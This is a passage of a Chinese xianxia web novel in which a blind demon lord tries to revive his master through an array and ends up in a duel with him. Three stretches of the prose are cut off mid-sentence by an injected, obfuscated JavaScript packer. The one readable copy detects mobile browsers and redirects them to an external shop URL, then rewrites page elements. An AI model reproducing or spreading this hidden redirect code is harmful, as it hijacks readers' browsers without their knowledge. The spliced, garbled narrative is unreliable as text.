殿中乱糟糟围来一大波人,各种声音嘈杂起伏,屋内混乱的残影不时晃过脸颊,又乌泱泱跪地磕头,貌似还有人诚惶诚恐哭泣哀鸣,说的好像是什么“保不住”“回天乏术”“节哀”之类的话。 陌归尘眼皮也越发沉重难以支撑。 他无暇顾及殿中情况,只神智不清回想起刚才的术诀。 引流的术诀有好几个。 最温和的那个是不疼的,术语和最烈性的那个诀只差两个符号,但修道多年,陌归尘还不至于粗心至此,直到疼晕过去,也没能想明白,自己怎么会掐错诀了呢。 * 次日夜,书房。 静谧的屋内,只点着一盏暗黄的壁灯,昏幽角落,白衣男子正支颐而坐,骨节分明的手,虚虚搭在交叠的大腿,双指夹着一对玉质的龙凤纹手镯。 书案上还摆着好些物件。 是才张罗起的抓周物品。 香草烟云在灯晕下,浮氲出几团光圈,白雾朦胧了那张陷进烛光的侧脸,烟雾又缭绕过那双幽深的眸子。 那是一双晦暗不明的眸,叫人揣摩不出其主的心思。 淡而清凉的猫薄荷味,随烟雾扩散而蔓延向四周。 一门之隔外。 陌归尘默然无声背靠墙面。 他记得那人有几次故意使坏,就是用猫薄荷来蛊哄他接吻,猫薄荷对猫有致命诱惑。 可此时此刻,当他垂下脑袋,“望”向自己一动不动的双腿时,方慢半拍地察觉到,猫薄荷好像也没有那么大的吸引力。 师尊素来游刃有余,面对旁人,杀伐果断,只有逗他时,才总是一副老不正经的样子。 陌归尘瞧不见,也无法想象那样掌控万物的上位者,落寞起来该是怎样的。 他只在半路听到婢女闲聊时提及,玄胤仙尊一言不发在书案旁坐了整夜,向来清隽的面容,憔悴沧桑,被孤灯明烛映着,一直盯着桌面上才开始准备给小主子们的抓周礼物件发呆。 光是远远瞧一眼仙尊映在地上的那抹残影,就已经叫人看得心疼万分。 待他回神后,便发现自己不知怎么就走到书房外了。 红影逗留片刻,还是慢腾腾穿过满地霜,扶墙离开。 他又看不见,有什么好心疼的。 这两日。 陌归尘都将自己关在房中,对谁都避而不见,这很正常,毕竟才痛失去“孩子”,换作谁都不好受。 罪魁祸首似乎也不敢直面他。 只有午夜梦醒时,才能从无端加盖在身上的衾被感知到师尊曾来过的气息。 与他预想的结果差不多。 正是他想要的,毕竟若是师尊整日和他腻歪在一起,他可就没办法偷偷跑走。 天光朦胧。 陌归尘再次掀开师尊帮他盖的被子,坐着发了半天呆,醒过神后,不紧不慢来到某处荒废的院落。 不一会儿,院中便出现几道黑影,那是他放出去布置法阵的傀儡。 傀儡跪下:“回尊主,已经按照您的吩咐布置完毕。” 陌归尘点头,捏出一个术诀,将几名傀儡碾碎,化作修为,重新吸收回体内。 上次出逃,他便勘察过地形,浮华派落霞峰是设复生阵最好的地方,那本就是师尊的地方,在那里接闻笺回家,寓意也好。 如今,万事俱备,只欠东风 ——祭阵的心骨。 消化完傀儡的修为,陌归尘不假思索来到魔宫边缘,伸手去探,这道只拦他的结界,能量果然比先前要弱上许多。 加上他修为精进不少。 破结界,轻而易举。 陌归尘双手结印,很快便凝出道华光,正欲打进结界。 “别!” 身后忽而袭来阵风。 “殿下,别破阵!” 熟悉的嗓音,叫陌归尘微滞,他愣愣顿住动作。 多年相伴,他还是第一次从二竹弋口中听到这种略带焦急的语气:“不能破!那是双子阵!” 双子阵三字落下。 陌归尘神情凝重收回法诀。 那人停在他跟前,欲言又止,还是开口:“主上怎么可能坐以待毙,就等你破阵呢。” “什么意思?” 二竹弋也顾不得礼数,拽过陌归尘手臂,拉着人往护法殿方向走:“双子阵,顾名思义就是两个法阵,一阵破,一阵生,你若破阵,那么整个仙门都会被困在结界内,届时就真的在劫难逃了。” “你要带我去哪?”陌归尘警惕甩掉二竹弋的手,面露不悦,眼底闪过丝厌恶,“再说,我凭什么信你?” 言罢便要往回走。 那人又拽上他手,这次却是塞进个东西,有些自嘲笑道:“这回,能信我一次吗?” 熟悉的物件落在掌心。 陌归尘猛然呆滞,那是……邪神之心? 他指腹不由得一紧:“为什么会在你手里?” 二竹弋:“现下不是讨论这个的时候,时间紧迫,跟我来。”说话间又把人往原本为护法殿现下却成魔神殿寝宫的方向拉去。 原本的那个湖还在。 二竹弋轻车熟路带着陌归尘走进地下神宫。 陌归尘皱眉推人:“不行。” 他确实厌恨这人,可他也不要眼前人为他平白遭受无妄之灾,哪怕真要死,也需得他亲自来报复。 陌归尘往后退:“不行。” 对方似一眼读懂他的顾虑,重新拉上他道:“主上对我早起杀心,殿下不用有负担,我只是良心发现在赎罪而已,你命理飘忽难定,主上想献祭整个三界带你成神,重新书写你的命格,唯一能阻住他的,只有闻笺。” 那人一反常态,操着正义凛然的口吻,几分真几分假,陌归尘已经分不清了。 但其中透露出的信息,却和他猜的相差无几,果然是要踩着三界众生的性命来成神。 “难道你不想见闻笺吗?” “闻笺?” 陌归尘含糊咕哝着这两个字,愣神的功夫,再次被二竹弋连拖带拽拉走。 二竹弋一路拉着陌归尘的手臂,在幽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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二竹弋死死抱住白衣男子的大腿:“我的命不值钱,走啊!” 陌归尘摇头:“不要这样,我不值得,我承受不起啊!” “当我求你了,走吧,去做你想做的事情……”那话音越说越吃力,听起来负伤不轻。 “嗬。” 另一道游刃有余的嗓音响起,含着股淡笑,如朋友间的调侃:“啧啧啧,你们这样真的显得吾很丧心病狂,跟强拆爱侣似的,搞得吾都于心不忍,打算放你们这对苦命鸳鸯一马。” 白衣男子轻顿,语气轻然似和煦的春风,语调慢悠悠如盈满诗情画意,温柔缱绻道:“可转念一想,不对呀,这不是我的人吗?真是倒反天罡啊。” 一丝柔和的灵力从二竹弋掌心打出,直将停在原地的青年推进阵法,陌归尘猝不及防跌了跌。 有人央求道:“走啊……” 咔—— 什么也瞧不见的青年,只听到骨头碎裂的声音,那瞬,后山的罡风扑来股血腥味,滚滚浓郁,霎时弥漫整个空庭。 [你怎么还不死?] [那我祝殿下早日如愿。] [你最好说话算话。] “师尊!不要啊!” 陌归尘挣扎着爬起,阵法冲起的光将他猛地逼退,叫人惯性往后趔趄两步,伸出的手,什么也没抓到,只能循着感觉大概辨出个方向,于紧急关头,朝二竹弋打出道防护罩。 伴随强光消失于原地的最后一瞬,他只听到二竹弋的嗓音残破不堪,气若游丝。 说的是—— “去见……你想见的人……” 67.又捉到你了。 67. 从阵法出来时,陌归尘也不知自己身处哪里。 方才经历“生离死别”激荡起的那些剧烈情绪,竟也伴随传送阵消失,而离奇消失。 青年脸色波澜不惊,整个人平静如一潭死水,站了片刻,运起灵力查看四周情况。 也才发现蒙眼的布条掉了,从储物空间翻来覆去,也没找到合适的白绫,索性便由得去了,反正他擅长伪装,先前伏魔大战,仙魔两界这么多人,还不是没一个人发现他已成瞎子,只有闻笺……只有闻笺能第一眼就看出他的异样。 只有闻笺…… 似又想起仙门那群人还聚在浮华派,陌归尘翻出张传音符,方恍然想起,那张与华云舟建立过联系的传音符早就被自己轰碎了。 他皱眉,收起灵力,此地应该是条栈道,他扶着旁边的栏杆一路往前走。 慢慢潜进树林深处。 “喂!小鬼头!” 恍惚一声女声起,青年眸光猛然滞涩一凝。 他攥住树干的手紧了紧,这道声音是……? 不! 陌归尘垂下眼眸,自嘲失笑,是幻听吧,便是继续往前走。 “小鬼头!你跑什么?”那道女声愈发靠近,还夹杂着点奔跑时的脚步声,异常真切。 “等等我啊!” 手臂忽然被只手攥住,耳畔的女声稍稍平顺呼吸,带上无奈的责备嗔道:“怎么几日不见,搞得浑身是伤呀?头发怎么还染白了?你师伯不骂你哦?” “诶?你眼睛又怎么回事?” 女声连连发问,陌归尘旋即感知到眼前有道手影晃了晃。 “姐……二师姐?”陌归尘猛然转身,一把拥住久违十年的师姐,“二姐姐是你吗——” 刚触碰的瞬间。 他又受惊似的猛地推开。 “不!你是谁?” “哎哟!”猝不及防跌倒,女声再起,“你胆儿肥了?师姐也敢推?是不是欠收拾?” 那人再度走过来,攥上他手臂,毫不客气掰来他眼皮,柔和的灵力瞬间包裹住眼眶流转:“你这眼睛到底怎么了?” 陌归尘沉默。 这分明就是二师姐的声音,只是这副躯体却又是个男子! 他顺着那只手摸上去,慢慢就这手臂摸索而上。 这男人的骨龄不比他小,身体却是副少年模样。 直至最后停在对方的五官。 恍若被灼烧一般。 陌归尘倏然收手,怎么……怎么……?他百思不得其解,对方竟然是十三师兄! 二师姐在十三师兄体内? 消失十年的二师姐,一直活在十三师兄体内! 十三师兄杳无音讯寻了整整十年的人,竟就这么戏剧性地藏在自己身子里,看样子相方还互不知情,简直比阴阳两隔还叫人不知所言。 陌归尘喜极而泣,又莫名百感交集,好一顿唏嘘。 这世上,果然没有比师尊更会折磨人的,简直讽刺至极,世人敬仰的玄胤仙尊,才是那个究极大魔头! 把所有人玩弄于股掌间! 女声被陌归尘的行为逗乐:“你干嘛呢?一惊一乍的!你师姐我又不会吃人!” 而后又忧心道:“你这眼睛到底怎么回事呀?我都看不出病因,我们回去找闻师叔。” 少年拉着他往前走,身上又传出愤愤不平的女声:“你看见你十三师兄没?那家伙说好陪我玩斗兽棋的,都多久不见人了,让我找着他,非把他绑起来揍一顿不可!” 因三魂不在的缘故,姑娘有些神智不清,像个活在回忆里的痴儿,精神力亦不足以长久支撑其活动,不一会儿,便陷进沉睡,由十三师兄重新掌握回身体主导权。 陌归尘听着少年迷茫的嗓音:“我……我怎么在这?你?你又怎么在此?” 原来一切都有回旋余地,他轻叹一声,想起二竹弋告诉他华云舟手里有一瓶八字纯阴的心头血,瞬间猜到:“师兄,你是不是要去浮华派?” 十三师兄没遮掩,直言不讳道:“是。” 陌归尘没多追问,如今也不是儿女情长的时候,只让对方帮忙带话:“师兄,让大家离开浮华派,越快越好。” 对方沉默片刻。 竟也默契十足,没问缘由,更没执意拉他追问什么而耽搁时间,只爽快应允:“嗯。” 陌归尘自然也不敢再与十三师兄多逗留,他怕师尊寻来后会乱发疯滥杀无辜。 毕竟他家师尊喜怒无常,又是个陈年老醋坛,连狗的醋都吃,那日,师尊带他出魔界,途中有条黑狗来向他讨吃,喂狗时,他就摸了一下狗脑袋,当天夜里,那人竟端不稳一碟点心,全撒在他身上,说着冠冕堂皇的话“浪费可耻”便是一顿不可描述,还变出双狗耳朵,让他摸。 简直是个变态妒夫。 二人分别前,陌归尘又嘱咐道:“一定要快。” 便是朝别的方向隐去,但愿能多拖一拖时间,让十三师兄尽快回浮华派报信。 毕竟复生阵就设在浮华派,他可不想闻笺一落地,便沾了血,平白弄脏鞋子。 * 夜色浓稠,更深露重,青年一个人杵在黑暗里,这次是真正意义上的,离开所有人的孤独。 他抱腿蜷缩靠在墙角。 夜里的山洞又冷又多蚊虫,石头也硬邦邦的,刚刚吃鱼的还是生的,也没人给他挑刺,还差点卡到喉咙好一阵干呕,裤腿更是被树枝勾烂一角。 其实都是无关紧要的小事,也不是不能容忍,奈何锦衣玉食惯了,心里难免膈应。 膈应堆叠起来,就变了味。 他本就不是个好脾气的主儿,万般滋味涌上心头的魔尊大人二话不说轰碎山洞,忿忿甩袖,在浓烟滚滚中走了出去。 随意靠在方大石块。 * 雪影出现时,发现小徒弟没有刻意运灵力,和普通凡人无异,活脱是个小瞎子。 他又一个闪身,单膝蹲在小徒弟跟前,细细打量对方。 青年抱膝倚靠石块,席地而坐,一双眼睛因看不见,有些空茫,貌似还有些委屈。 雪影就这么静静蹲着。 半晌后,摊开手掌,在徒弟脸侧来回比划一下,脸还挺小,只有巴掌大。 他捏出个风诀,模拟风吹落叶的状态,又就近折过截狗尾巴草,轻轻举起,恶劣地扫了扫小徒弟鼻尖。 因为看不见,触感尤其敏感,一点点痒意也叫青年下意识一缩,努起鼻子挠了挠,还茫然眨眨眼,不知想看什么。 无端的,他想起那种时候的徒弟也是这般眼含泪光,努力睁着失焦涣散的眸,有些迷茫地寻找他的方向。 青年话语骤起,还含着点没好气的薄怒:“玩够没有?” “哎呀。” 雪影颇为遗憾丢掉狗尾巴草,“这么快便被发现了?殿下让我好找啊。” 话完,徒弟二话不说发起进攻,一击浑厚的掌风呼过来。 雪影侧身避开,反手捏上陌归尘腕骨,顺势亲了亲那手心,才不紧不慢掸掸自己皱褶不成样的衣襟:“殿下何时能改一改这一言不合就开打的坏习惯?” 青年冷眼觑人。 下一瞬,又起脚踹出去。 这一次,二人都很默契,没用灵力,只是单纯的肉搏。 师徒二人近身过招。 半个时辰后。 雪影眼疾手快接住徒弟的攻势,将筋疲力尽的徒弟压倒在后面的大石块,擦擦对方汗津津的额角:“玉玉有没有想师父?” “想,想你死。” 他轻轻失笑:“不老实。” 余光扫过不远处的碎石,自顾自说话:“我方才还好奇是谁这么大能耐,一掌轰碎山洞,敢情是我们家殿下。” 雪影十分捧场拍了拍掌,不吝言辞赞道:“我们殿下真厉害!” 陌归尘:“他死了?” 雪影:“我们师徒见面,玉玉非要问这种无关紧要,甚至无关你我的问题,来扫兴么?” “那是活生生的一条人命!” 雪影选择性忽略掉陌归尘的话,直接转移话题,笑吟吟的:“对了,为师想起我们玉玉宫主逃得太急,都没带什么换洗衣物。” 于是,陌归尘被人摁在草地上……换了身华贵漂亮的新衣裳。 “你有病呀!” 他抬脚就踹,那人顺势接住:“这么乖呀,你怎么知道为师接下来要给你换鞋子?” 青年又被捆在怀里换上一双轻便舒适的流云靴。 那人最后掏出个鸡腿,送到他嘴边,满满的荷叶清香萦绕鼻尖,又听师尊说:“师父别开头了,什么都看不见,即便有小馋猫偷吃,也是不清楚的。” “你有唔——” 那个“病”字还没出口,被整只鸡腿怼了回去。 陌归尘:“……” 对方忽而发问:“你知道自己的生辰么?” 陌归尘哑声,也不知是被师尊娇养惯了,还是粗心大意,这些年,他从未在意什么生辰,再说,按照门派规矩,弟子没资格过生辰,依照凡间习俗,小孩子也是不过生辰的。 他只知每年三月初七,闻笺都会给他做一顿丰盛的早饭,再给他换上一身漂亮衣裳,带他下山玩,临近尾声时看一场空前美丽的烟火表演,年年岁岁都如此,常常是烟花还没看完,他便因闹腾得没什么精力,又倦又乏,哈欠连连倒进师尊怀里,被师尊抱回山。 师尊轻轻揉揉他脑袋:“是三月初七,为师给你准备了个大礼,这次,把这十年没能好好过的生辰补回来。” 陌归尘没理会对方的话。 那人道:“怎么,还在想你的好师尊呢?” 而后语重心长轻叹一口气:“玉玉,你扪心自问一下,为什么这么想要你那位好师尊?” 陌归尘不假思索:“因为,我爱他。” “不,因为只有他可以阻止我毁灭三界。” 白衣男子像个尽职尽责的好师者,针针见血,循循善诱,一步一步引导自己的徒弟:“连一个你厌恶的人为你而死,你都心生愧疚,无法释怀,更何况是三界芸芸众生。 “你执着要他回来,是你不想三界因你覆灭,你觉得自己承受不起,你不想踩着千千万万条无辜性命成神,于是你想到你那位师尊,你迫切想要他活过来。 “只有他,会无条件帮你摆平一切,玉玉,你还不明白吗? “这,是爱吗?” 陌归尘一把推开对方,冷然置否:“你不要在这给我诡辩!” 那人依旧不依不饶:“你这么怨我,无非是我剥夺走你可以肆无忌惮的底牌。” “你别给我胡说八道!我爱他,你越否定我的爱,我越坚定我就是爱他!” “你看你,还是这么倔强,为师稍稍使一下激将法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996773|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你就产生逆反心理,而这,也正正能印证:是因为你那位好师尊一直拒绝你,你才那么契而不舍,非他不可。 “玉玉,好好想想吧。” 两人交谈间隙,雪影脚边忽而泛起阵符文白光,他循着光源低头,方察觉自己这是落进小徒弟提前布置的法阵,这阵要破起来有点棘手,还特别耗时。 他淡淡笑了笑,隔空指指陌归尘:“怎么又耍无赖?狡猾。” 阵法运转,四周景象刹那变幻莫测,幽凄诡戾,白衣男子却好整以暇抱手,往旁边的树干一倚,似有些头疼,捏捏鼻梁道:“为师的好徒儿,你可真是孝顺,拿为师教的招式,来对付为师?” 其实这阵还有个简单粗暴的破法,一掌轰碎即可,后果必然也是伤敌一千自损八百,寻常人都不会选择这般极端的解法,也没有那个修为支撑他们一击破阵。 但,堂堂邪神,自然不走寻常路,非但能一招破阵,甚至还有法子将“自损”那部分反噬给阵主。 如此一来,自家小徒弟可就遭老罪喽。 他慢条斯理掐诀,循着最常规的方法,一步步破阵,挑眉瞥了眼那边不动声色转身,头也不回离开的青年,口吻尽是无奈而纵容:“你就仗着师父疼你吧。” * 陌归尘没有走远,只在这座山头附近徘徊到次日。 毕竟他要引师尊回浮华派,自然不可能真远走高飞,诡异的却是那人竟还没追来,那阵虽难破,可还不至于破整夜吧? 他不解蹙眉,掐指算了算时间,心道师兄应该早回到门派,便没再纠结,神色如常直奔浮华派。 …… 夕阳西下,浮华派,主峰议事大殿,灯火通明。 仙门各大门派皆齐聚在此。 殿中人正说得热火朝天。 砰—— 殿门传来巨大的动静。 众人皆不约而同住嘴,闻声看去,却见两扇厚重的殿门被一鞭子抽碎,强悍的余辉冲来,殃及得临近殿门的人群需得运起灵力抵挡方避免被当场掀翻。 殿门四分五裂,烟尘纷扬,隐隐走出个红影。 清薄高挑的红影,浑身萦绕股冷肃之气,手中还拖着条遍布煞气的黑鞭。 那神情漠然的青年一开口,又是熟悉而轻狂的话调:“还不滚?都在这等死吗?” 众人一愣,目光均不由自主聚焦在来人身上。 但见逆着月色而来的红衣青年,银发翻飞,落拓的轮廓无端浮现出一种诡秘的艳丽。 哪怕谙知对方不怀好意,是这修仙界的头号危险人物,亦是他们此番商议对付的大魔头,还是被恍惚得久久挪不开眼。 许久后,不少人暗自唾弃回神,青筋乱跳,怒目而视:“陌归尘!你这竖子倒是嚣张!等死?我看鹿死谁手还不一定呢!” 讨伐声旋即四起:“好呀,你这魔头还敢自投罗网?也省得我们奔波,乖乖伏诛!” “魔头!受死!” “孽障!束手就擒!” …… 各种谩骂声不绝于耳。 主位上的华云舟亦是呆滞一下,仙门此番聚集,商议荡平魔界是真,营救这两师徒亦是真,只是其中缘由,他还未来得及与大家剖明。 他摆手:“诸位稍安勿躁!” 中年男子越过众人,快步来到陌归尘身前:“你怎么独自回来了?你师尊呢?” 他忧心忡忡:“莫非是他帮你逃出来的,那他……” 华云舟简直不敢细想,他脸色凝重轻拍陌归尘肩膀安慰:“你在此等着,我现在就带人前去魔界,将你师尊救回来。” 殿中众人义愤填膺,气势汹涌,纷纷拔刀相向:“魔头!你怎么还有脸回来!快把仙尊交出来!否则休想离开!” 其余人亦是激动不已,附和谴责:“没错!交出仙尊,再乖乖伏诛!我等留你全尸!” “交出玄胤仙尊!” …… 场面一度混乱无比,华云舟挡在陌归尘身前,回头安抚脸红脖子粗的众人:“各位稍安勿躁,听我——” 话音戛然而止。 殿外广场,忽而破空落下阵白光,强大的灵力威压如无形的网,收缩而回,叫众人被压迫得险些吐血,止不住颤抖。 “是谁?!” “竟敢夜袭仙门!” “莫非是魔族鼠辈来犯?好呀,你们魔界简直卑鄙无耻!趁我们齐聚在此而搞埋伏?” “你们魔界!果然险恶狡诈!净搞些腌臜手段!” 陌归尘翻了个白眼:“……” 他都懒得反驳了,毕竟智障是会传染的。 人群见陌归尘不说话,便当是默认,不齿地谴责以掩盖内心惊骇,又如临大敌赶出去查看一番。 空地上,哪有什么魔族,倒是只站着一个背影。 那是—— “仙尊!” 仙门百家得见来人,悄然吐息,欣喜若狂高呼。 “是玄胤仙尊!” “仙尊回来了!” 夜风猎猎,白衣男子衣袂飘摇转身,视线穿过众人,一眼锁定那抹高挑的红影,惯是护短:“诸位,久违,别那么凶,仔细吓到我家小徒弟,很难哄的。” 他含笑道:“又捉到你了。” “玉玉,愿赌服输。” 雪影微微敞开双臂,似在等一个投怀送抱:“好啦,游戏结束,回家吧。” 68.生辰快乐,新生快乐。 68. 玄胤仙尊话音落地。 仙门众人不受控制似的,竟自发循着仙尊视线,齐刷刷地让出条路来,纷纷回头望向殿内,但见那道落拓不羁的红影,半分也不惧,只淡淡然走出来。 越过人群,陌归尘冷嗤嘲讽:“来得真慢。” 雪影依旧噙出一贯纵容的笑,众目睽睽下,说着唯有师徒二人能听懂的话:“慢了被嫌弃,快了你又不乐意,殿下真是难伺候呀。” “闻师弟,这到底——” 华云舟率先回神,快步上前,才走出一小段距离,手腕忽而一紧,但见一条黑鞭拽住他,蓦然,眼前视野天旋地转,人也被甩了回来。 “闻青栀你懂不懂规——” 话未完,已被自己那师侄冷言冷语打断:“你若死了,归云真人一手一脚创立起的浮华派,可没人替你守。” 华云舟狼狈倒退,踉跄几下方稳住身形,怒火中烧张了张唇,却是一时语塞,竟不知从何说起。 也终于慢半拍地察觉到这师徒二人表面风平浪静,实际针锋相对,有些剑拔弩张的意味。 不对劲儿! 怕是藏有不为人知的猫腻! “哼!” 他哑声拂袖,来回看了看暗流涌动的师徒二人,最终还是退到旁边,静观其变。 广场上,不少人交头接耳,窃窃私语:“这是怎么回事?” 众人未能搞懂这奇怪转变,实在是这幕的仙尊哪有半分受辱的姿态,怎么看怎么气定神闲处于上风,还亲自来逮狼狈出逃的大魔头。 貌似大魔头更像受害者? 不对呀!这境况怎么有种完全逆转的错觉? 心底更是随之生出一种认知被颠倒的荒谬感。 没人能安然接受信仰被推翻的事实,议论声中有人率先高喝:“魔头,你莫不是在混淆视听?休要在此挑拨离间!我看一切都是你的阴谋诡计,是你的障眼法对不对?” 陌归尘没好气讥笑:“你们不说话,我还以为我这是在戏园子看猴戏呢,一群跳梁小丑被人当猴耍,眉毛低下长两窟窿眼是用来喘气的么?” “你!” 众人被怼得哑声。 片刻后,四周声音霎时乱糟糟反扑而来,苍蝇似的嗡嗡叫,吵得人头疼,陌归尘不耐烦打出一个法诀,直接轰向集结成堆的众人。 “吵死了,闭嘴!” 星碎的煞气,锐刺般扎到脚尖,众人被这番警告吼得目瞪口呆。 鸦雀无声片刻,讨伐得更甚,谩骂声不可开交,比起先前有过之而无不及。 “陌归尘你这竖子罔顾人伦伦!大逆不道!折辱师尊!就该挫骨扬灰!” “你这卑鄙无耻的孽障,勾结邪祟,残杀我们仙门子弟,让你苟延残喘至如今,是我们的大不该!” “你这样心思歹毒的魔头,修炼邪术,坏事做尽,丧尽天良,连无辜的老百姓也不放过,就该被大卸八块,好好赎一赎你的罪!” “魔头!你万死难辞其咎!” …… 嘈杂声中,按捺不住的好些人,暗中结印,合力打出数十道冰锥,还专挑要害攻击,百会穴、神庭、喉咙、心口、腹部等无一能避免。 陌归尘自然也敏锐捕捉到那偷袭而来的凌厉攻击。 迅疾抬手一抬,反手接住,轻而易举化解,十几道淬毒冰锥被他拢进掌心,全数奉还打回去。 “啊!” 几声惨叫,最面前的几人连退几步,被毒液反噬,小腿肌肤瞬间滋啦腐烂大片。 众人魔怔似的,面红耳赤,言语上尽是针对:“魔头!你心肠好歹毒!” 陌归尘面向众人,不愠不怒开口:“你们偷袭我,我死了是死有余辜?我反击,你们技不如人受伤,便是我心肠歹毒?你们这是自有一套标准啊。” 他直言不讳点明:“虚伪。” 雪影煞有其事点头,附和自家徒弟:“确实,虚伪。” 众人:“……” 众人一时哑口无言,又义愤填膺,痛心疾首:“仙尊莫要被魔头蒙骗!” 人群忙不迭苦口婆心劝说:“护短也得看那人值不值!” …… 陌归尘懒得与这群人纠缠,直接掐出个诀,将胡搅蛮缠的仙门百家扔下浮华派山门,旋即立起结界。 偌大的空地,只剩两人。 雪影挑眉,不甚认同叹息:“这样一群假仁假义的废物,有什么值得你手下留情的?” “我只是不想他们的血,脏了落霞峰。” “到底是怕弄脏这地,还是你心里有负担,为师能不清楚么?” 陌归尘沉默。 雪影:“早死晚死都得死,为殿下而死何等殊荣?简直抬举他们,你就该心安理得接受。” 陌归尘不以为然,冷笑责问:“到底是他们真的虚情假意枉为正道,还是你从中作梗,我能不清楚吗?你布局多年,铺垫这么久,让仙门一步步倒逼我,不就是为今日,我能奋起反杀,毫无负担,甚至畅畅快快看所有人死在眼前?” 他冷静从容,道出真相:“我所看到的世界,是你想让我看到的而已!” 雪影佯装惊叹,十分捧场鼓掌:“哎呀,又被你发现了?” “善也好恶也罢,是非曲直,我无心与师尊多辩,你说得对,我做不到,我承受不起要千千万万条性命为我而死。” 陌归尘选择性忽略掉对方浮夸的表演,肃然道:“师尊费尽心思为我做那么多事,弟子真的很感激师尊的良心用苦。” “哟。”白衣男子受宠若惊摆摆手,“客气客气,咱们师徒无分彼此,不说两家话。” “能不能正经点?” “我若是正经,咱们师徒可厮混不到一张床上。” “你还挺有自知自明。” “谢殿下夸奖。” “不要脸。” “好骂,再赏两句听听?” “……” 见徒弟没再说话,雪影懒洋洋扬眉:“不过,为师还挺挫败的,做了这么多,你还是下不了手呀,闻笺把你教得太好了。” 至此,青年才铿锵有力道:“因为邪不能胜正。” 闻言,雪影掩唇失笑:“邪不能胜正?那现在站在这的为什么会是代表邪恶那面的我?而且他既有那能力,为何不杀死我一了百了,而是退而求其次封印?还有,他若真有实力封印我,又怎会有后来的种种事?” “闻笺只是顾念旧情。” 雪影侧目望天,感慨万分:“确实,我们一体共存多少岁月,连我自己都忘了。” 他莫名唏嘘:“大抵你那位好师尊就是太正,正到发邪,所谓物极必反,我便苏醒了。” 他如聊起位亦敌亦友的故人,百感交集:“这大概也是我们医剑双修的缘故吧,他喜欢救治,我热衷于杀戮,我们从来都是两个相反的极端,然而这样的我们,竟也可以和谐共存在同一个个体里,也属实微妙。” 陌归尘挽起一小缕头发,在脑后绑了个高马尾:“我没心情听你啰哩巴嗦的,我也不会跟你回去的,你我师徒,就在此决一死战吧。” 雪影目睹徒弟绑头发的动作,无端被惊艳一下,敛神低叹:“哟,这么认真啊。” 话未落地,一击凌厉的掌风劈来,立在原地的白衣男子眉眼都没带动弹一下,咫尺间,化解银发青年的攻势,单手捏住对方手腕,反手就是一拽,把人带进怀里。 雪影双指捏起陌归尘下巴,强迫对方抬起头:“一招一式都是为师教的,你拿什么和我打?” 陌归尘没说话,凝神,利落起手,肘击对方,挥掌劈出。 雪影侧身避开,又抬臂挡了一下劈过来的掌。 青年直接祭出本命剑,趁势追击。 夜色下,屋顶上的红白两道人影,如鬼魅碰撞交织。 一击剑气,以排山倒海之势轰出,瓦片哇啦啦掀翻,雪影一个回旋,跳下被摧毁的屋顶。 铮亮的剑光再次迎面逼来,他双指一夹,堪堪接住徒弟剑尖:“身法不错嘛。” 他转手拔出霜寒剑,反手往上砍出,抵挡又一次劈下来的无双剑。 砰—— 两道剑气相碰。 刹那撞出星火。 剑刃交锋,铮铮鸣响,对打出的磅礴气势,以二人为圆心飞速扩散,震得四周落叶纷飞。 师徒两人又追逐穿过落叶,交手十几招,一直打到落霞峰。 …… 而被结界拦在浮华派山门下的众人,围观那对师徒打斗半天,思绪凌乱如打结毛线,越发百思不解,理不清个中缘由。 这……到底是个怎么事? 却又难忍惊叹。 众人止不住被这场酣畅淋漓的师徒对决吸睛,属实是空前绝后的精彩,叫人着迷啊。 另一边,陌归尘掐着时间来到落霞峰,把对方引到提前布置好的复生阵中。 陌归尘面无表情收起无双剑,徒手接住霜寒剑。 雪影兴致阑珊收剑:“这就丢盔弃甲了?”话未完,对方却行云流水与他近身对法。 二人再一次对掌,分开。 雪影轻飘飘:“别徒劳了,一招一式都是为师教的,你拿——”话音戛然而止。 “倘若,我还会这个呢?” 落霞峰后山,罡风猎猎,一袭红袍的青年,站在石阶上,举起一件法器,那是九尾族神君的本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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雪影轻而易举召唤出陌归尘的无双剑,微笑道:“你以为这把剑凭什么叫‘无双’?因为它是神的心骨,它就是未解封印的神器,也只有神器,方有资格弑神。” 白衣男子指尖一点,封印解除,神器现世:“你要用它来杀为师么?” “我没说要杀你。” “你不是整日盼着为师死么?现在,机会就在你面前,把握好了。” 陌归尘:“能不能别疯?” 青年一只手还停在自家师尊胸膛,另一手抢过无双剑反向一甩,丢进复生阵中心,掌心轰出源源不断的修为,启动法阵。 雪影觉得有些好笑,一把攥上徒弟腕骨:“既然不想杀为师,那为何要问弑神阵?” 弑神阵三个字落地。 陌归尘心间一怵,似才反应过来自己为何总觉内心不安,思绪不宁。 眼前抽丝剥茧般飘过好几个骇人画面,他大惊失色瞠目,冷汗涔涔转身。 整个人扑出去捡无双剑,师尊却一把拽回他。 “玉玉,迟了。” 陌归尘猝不及防撞进对方胸膛。 那人话语凉薄,哪怕已是虚弱不堪,亦显得那么稳操胜券。 “你有没有想过,你爹爹的私库只有一根玉笛,其余的,都是为师添给你的聘礼,而你手中那枚笛穗,是我亲手拔下来扔进上古秘境的。 “或许我说得还不够直白,你的复生阵,不过是我的计中一环。 “这世上,没有复生阵,从来就只有,为师自创的魔神阵。 “你拿到的,是魔神阵的阵中阵,而法阵最至关重要的一步是,由本人驱动。” 天际一抹流光划开夜幕,午夜子时,阴阳交替,正正跨过新的一日,七星连珠,纯白光华以迅雷不及掩耳之势打落阵法。 “噢,三月初七了。” 师尊不知何时,悄然给他共享视野,陌归尘望见对方嘴角鲜血溢流,却在放声大笑。 